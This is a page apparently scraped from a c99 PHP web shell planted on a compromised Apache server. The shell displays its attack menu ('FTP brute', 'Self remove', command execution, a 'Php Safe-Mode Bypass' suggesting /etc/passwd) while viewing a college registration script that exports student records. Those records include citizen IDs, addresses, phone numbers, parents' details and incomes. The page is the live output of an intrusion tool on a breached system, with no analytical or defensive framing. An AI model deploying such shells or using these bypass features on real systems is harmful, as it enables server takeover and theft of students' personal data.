!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis_/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     misGetData.php (16.3 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
';
    $xml.="".$row->tmcAcY."";
    echo $xml;

}elseif($table==1){

    if($row>0){
        $offset = 500*$row-500 ;
        $row_count = 500 ;
        $limit = "LIMIT $offset , $row_count";
    }else{
        $limit = '';
    }

    $sql = "SELECT * ,
            CONCAT(YEAR(stdAdmitDate)+543,'-',MONTH(stdAdmitDate),'-',DAY(stdAdmitDate)) AS admitDate ,
            CONCAT(YEAR(stdGraduateDate)+543,'-',MONTH(stdGraduateDate),'-',DAY(stdGraduateDate)) AS finishDate 
            FROM rg_Student 
            LEFT JOIN rg_StudentDetails ON sdtStdId = stdId
            LEFT JOIN rg_StudentEduHis ON sehStdId = stdId
            LEFT JOIN rg_Adviser ON advStdId = stdId AND advSyId = stdSyId
            WHERE 1=1 GROUP BY stdId $limit ";
    $result = mysql_query($sql, $link);
    $numrow = mysql_num_rows($result);

    $i = 0;
    if($row==0){
        $xml_r='';
        $xml_r.="$numrow";
        $xml_r.="";
    }else{
        $xml = '';
        $i_row=0;
        while($oSm = mysql_fetch_object($result)) {
            $i_row++;
            $xml.="";
                $xml.="".chk( $collegeCode )."";
                $xml.="".chk( $oSm->stdId )."";
                $xml.="".chk( $oSm->stdCode )."";
                $xml.="".chk( $oSm->sehElvId )."";
                $xml.="".chk( $oSm->stdCurId )."";
                $xml.="".chk( $oSm->stdPfId )."";
                $xml.="".chk( $oSm->stdName ).""; 
                $xml.="".chk( $oSm->stdSurname )."";
                $xml.="".chk( $oSm->stdNameE )."";
                $xml.="".chk( $oSm->stdSurnameE )."";
                $xml.="".chk( $oSm->stdCreditAttempt )."";
                $xml.="".chk( $oSm->stdCreditSatisfy )."";
                $xml.="".chk( $oSm->stdGPA )."";
                $xml.="".chk( $oSm->stdAdY )."";
                $xml.="".chk( $oSm->stdTmIdAdmit )."";
                $xml.="".chk( $oSm->admitDate )."";
                $xml.="".chk( $oSm->finishDate )."";
                $xml.="".chk( '' )."";
                $xml.="".chk( $oSm->sdtEmail )."";
                $xml.="".chk( $oSm->stdSyId )."";
                $xml.="".chk( $oSm->stdSstId )."";
                $xml.="".chk( $oSm->advPrsId )."";
                $xml.="".chk( '' )."";
                $xml.="".chk( $oSm->stdFsId )."";
                $xml.="".chk( $oSm->stdUpdateUsLogin )."";
                $xml.="".chk( $oSm->stdUpdateDate )."";
                $xml.="".chk( $oSm->sdtCitizenId )."";
                $xml.="".chk( $oSm->stdGraduateY )."";
                $xml.="".chk( $oSm->stdGenStatus )."";
                $xml.="".chk( $oSm->stdGenId )."";
                $xml.="".chk( $oSm->stdEtId )."";
                $xml.="".chk( $oSm->stdEt2Id )."";
                $xml.="".chk( $oSm->sdtSex )."";
                $xml.="".chk( $oSm->stdSoId )."";
                $xml.="".chk( $oSm->stdPaId )."";
                $xml.="".chk( $oSm->stdTotalPoint )."";
                $xml.="".chk( $oSm->stdHonor )."";
                $xml.="".chk( $oSm->stdMedal )."";
                $xml.="".chk( $oSm->stdExitExam )."";
                $xml.="".chk( $oSm->stdSstIdTmp )."";
            $xml.="";
            $i++;
        }
        $xml_r='';
        $xml_r.="";
        $xml_r.=$xml;
        $xml_r.="";
    }
    echo $xml_r;
}elseif($table==2){

    if($row!=0){
        $offset = (500*$row)-500 ;
        $row_count = 500;
        $limit = "LIMIT $offset , $row_count";
    }else{
        $limit = '';
    }

    $sql = "SELECT * 
            ,CONCAT(YEAR(sdtBirthDate)+543,'-',MONTH(sdtBirthDate),'-',DAY(sdtBirthDate)) AS birthDate 
            FROM rg_StudentDetails 
            LEFT JOIN rg_Student ON sdtStdId = stdId
            WHERE 1=1 $limit ";
    $result = mysql_query($sql, $link);
    $numrow = mysql_num_rows($result);

    $i = 0;
    if($row==0){
        $xml_r='';
        $xml_r.="$numrow";
        $xml_r.="";
    }else{
        $xml = '';
        $i_row=0;
        $txt = '';
        while($oSb = mysql_fetch_object($result)){
            $i_row++;
            $xml.="";
            $xml.="".chk( $collegeCode )."";
            $xml.="".chk( $oSb->sdtStdId )."";
            $xml.="".chk( $oSb->sdtNtId )."";
            $xml.="".chk( $oSb->sdtRlgId )."";
            $xml.="".chk( $oSb->sdtBloodGroup )."";
            $xml.="".chk( $oSb->birthDate )."";
            $xml.="".chk( $oSb->sdtPrvIdBirth )."";
            $xml.="".chk( $oSb->sdtHomeAddr )."";
            $xml.="".chk( $oSb->sdtDtIdHome )."";
            $xml.="".chk( $oSb->sdtApIdHome )."";
            $xml.="".chk( $oSb->sdtPrvIdHome )."";
            $xml.="".chk( $oSb->sdtHomePostCode )."";
            $xml.="".chk( $oSb->sdtHomePhoneNo )."";
            $xml.="".chk( $oSb->sdtWorkName )."";
            $xml.="".chk( $oSb->sdtWorkAddr )."";
            $xml.="".chk( $oSb->sdtDtIdWork )."";
            $xml.="".chk( $oSb->sdtApIdWork )."";
            $xml.="".chk( $oSb->sdtPrvIdWork )."";
            $xml.="".chk( $oSb->sdtWorkPostCode )."";
            $xml.="".chk( $oSb->sdtWorkPhoneNo )."";
            $xml.="".chk( $oSb->sdtWorkStatus )."";
            $xml.="".chk( $oSb->sdtWorkPosition )."";
            $xml.="".chk( $oSb->sdtWorkSalary )."";
            $xml.="".chk( $oSb->sdtFatherName )."";
            $xml.="".chk( $oSb->sdtFatherAddr )."";
            $xml.="".chk( $oSb->sdtDtIdFather )."";
            $xml.="".chk( $oSb->sdtApIdFather )."";
            $xml.="".chk( $oSb->sdtPrvIdFather )."";
            $xml.="".chk( $oSb->sdtFatherPostCode )."";
            $xml.="".chk( $oSb->sdtFatherPhoneNo )."";
            $xml.="".chk( $oSb->sdtFatherOccupation )."";
            $xml.="".chk( $oSb->sdtFatherStatus )."";
            $xml.="".chk( $oSb->sdtMotherName )."";
            $xml.="".chk( $oSb->sdtMotherAddr )."";
            $xml.="".chk( $oSb->sdtDtIdMother )."";
            $xml.="".chk( $oSb->sdtApIdMother )."";
            $xml.="".chk( $oSb->sdtPrvIdMother )."";
            $xml.="".chk( $oSb->sdtMotherPostCode )."";
            $xml.="".chk( $oSb->sdtMotherPhoneNo )."";
            $xml.="".chk( $oSb->sdtMotherOccupation )."";
            $xml.="".chk( $oSb->sdtMotherStatus )."";
            $xml.="".chk( $oSb->sdtSex )."";
            $xml.="".chk( $oSb->sdtParentName )."";
            $xml.="".chk( $oSb->sdtParentRelationship )."";
            $xml.="".chk( $oSb->sdtParentAddr )."";
            $xml.="".chk( $oSb->sdtDtIdParent )."";
            $xml.="".chk( $oSb->sdtApIdParent )."";
            $xml.="".chk( $oSb->sdtPrvIdParent )."";
            $xml.="".chk( $oSb->sdtParentPostCode )."";
            $xml.="".chk( $oSb->sdtParentPhoneNo )."";
            $xml.="".chk( $oSb->sdtParentMobileNo )."";
            $xml.="".chk( $oSb->sdtParentOccupation )."";
            $xml.="".chk( $oSb->sdtParentIncome )."";
            $xml.="".chk( $oSb->sdtParentEmail )."";
            $xml.="".chk( $oSb->sdtContactName )."";
            $xml.="".chk( $oSb->sdtContactAddr )."";
            $xml.="".chk( $oSb->sdtDtIdContact )."";
            $xml.="".chk( $oSb->sdtApIdContact )."";
            $xml.="".chk( $oSb->sdtPrvIdContact )."";
            $xml.="".chk( $oSb->sdtContactPostCode )."";
            $xml.="".chk( $oSb->sdtContactPhoneNo )."";
            $xml.="".chk( $oSb->sdtCardExpireDate )."";
            $xml.="".chk($oSb->sdtCurrentAddr)."";
            $xml.="".chk( $oSb->sdtDtIdCurrent )."";
            $xml.="".chk( $oSb->sdtApIdCurrent )."";
            $xml.="".chk( $oSb->sdtPrvIdCurrent )."";
            $xml.="".chk( $oSb->sdtCurrentPostCode )."";
            $xml.="".chk( $oSb->sdtCurrentPhoneNo )."";
            $xml.="".chk( $oSb->sdtGraduateAddr )."";
            $xml.="".chk( $oSb->sdtDtIdGraduate )."";
            $xml.="".chk( $oSb->sdtApIdGraduate )."";
            $xml.="".chk( $oSb->sdtPrvIdGraduate )."";
            $xml.="".chk( $oSb->sdtGraduatePostCode )."";
            $xml.="".chk( $oSb->sdtGraduatePhoneNo )."";
            $xml.="".chk( $oSb->sdtMsId )."";
            $xml.="".chk( $oSb->sdtWeight )."";
            $xml.="".chk( $oSb->sdtHeight )."";
            $xml.="".chk( $oSb->sdtPicturePath )."";
            $xml.="".chk( $oSb->sdtRtId )."";
            $xml.="".chk( $oSb->sdtOccExamResult )."";
            $xml.="".chk( $oSb->sdtCanRefund )."";
            $xml.="".chk( $oSb->sdtOldName )."";
            $xml.="".chk( $oSb->sdtEdgIdPre )."";
            $xml.="".chk( $oSb->sdtHpId )."`";
            $xml.="";
            $i++;
        }// END LOOP
        $xml_r='';
        $xml_r.="";
        $xml_r.=$xml;
        $xml_r.="";
    } // END if row!=0
    echo $xml_r;

}elseif($table==3){
    if($row!=0){
        $offset = (500*$row)-500 ;
        $row_count = 500;
        $limit = "LIMIT $offset , $row_count";
    }else{
        $limit = '';
    }

    $sql = "SELECT * FROM rg_StudentSummary 
            WHERE 1=1 $limit ";
    $result = mysql_query($sql, $link);
    $numrow = mysql_num_rows($result);

    $i = 0;
    if($row==0){
        $xml_r='';
        $xml_r.="$numrow";
        $xml_r.="";
    }else{
        $xml = '';
        $i_row=0;
        while($oSs = mysql_fetch_object($result)){
            $i_row++;
            $xml.="";
            $xml.="".chk( $collegeCode )."";
            $xml.="".chk( $oSs->ssmStdId )."";
            $xml.="".chk( $oSs->ssmAcY )."";
            $xml.="".chk( $oSs->ssmTmId )."";
            $xml.="".chk( $oSs->ssmSstId )."";
            $xml.="".chk( $oSs->ssmGPA )."";
            $xml.="".chk( $oSs->ssmCreditAttempt )."";
            $xml.="".chk( $oSs->ssmCreditSatisfy )."";
            $xml.="".chk( $oSs->ssmCreditPoint )."";
            $xml.="".chk( $oSs->ssmGPAX )."";
            $xml.="".chk( $oSs->ssmSumCreditAttempt )."";
            $xml.="".chk( $oSs->ssmSumCreditSatisfy )."";
            $xml.="".chk( $oSs->ssmSumCreditPoint )."";
            $xml.="".chk( $oSs->ssmCreateDate )."";
            $xml.="".chk( $oSs->ssmCreateUserId )."";
            $xml.="".chk( $oSs->ssmUpdateDate )."";
            $xml.="".chk( $oSs->ssmUpdateUserId )."";
            $xml.="".chk( $oSs->ssmSstIdApproveSpe )."";
            $xml.="".chk( $oSs->ssmApprover )."";
            $xml.="".chk( $oSs->ssmRefNo)."";
            $xml.="".chk( $oSs->ssmApproveDate )."";
            $xml.="".chk( $oSs->ssmPassStatus )."";
			$xml.="".chk( $oSs->ssmSyId )."";
            $xml.="";
            $i++;
        }//--end loop
        $xml_r='';
        $xml_r.="";
        $xml_r.=$xml;
        $xml_r.="";
    }
    echo $xml_r;
}// End if table
}

function chk($field){
    //htmlspecialchars   htmlentities
    $value = ($field !='')? htmlspecialchars($field, ENT_QUOTES) : 'NULL';
    return $value;
}
?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]--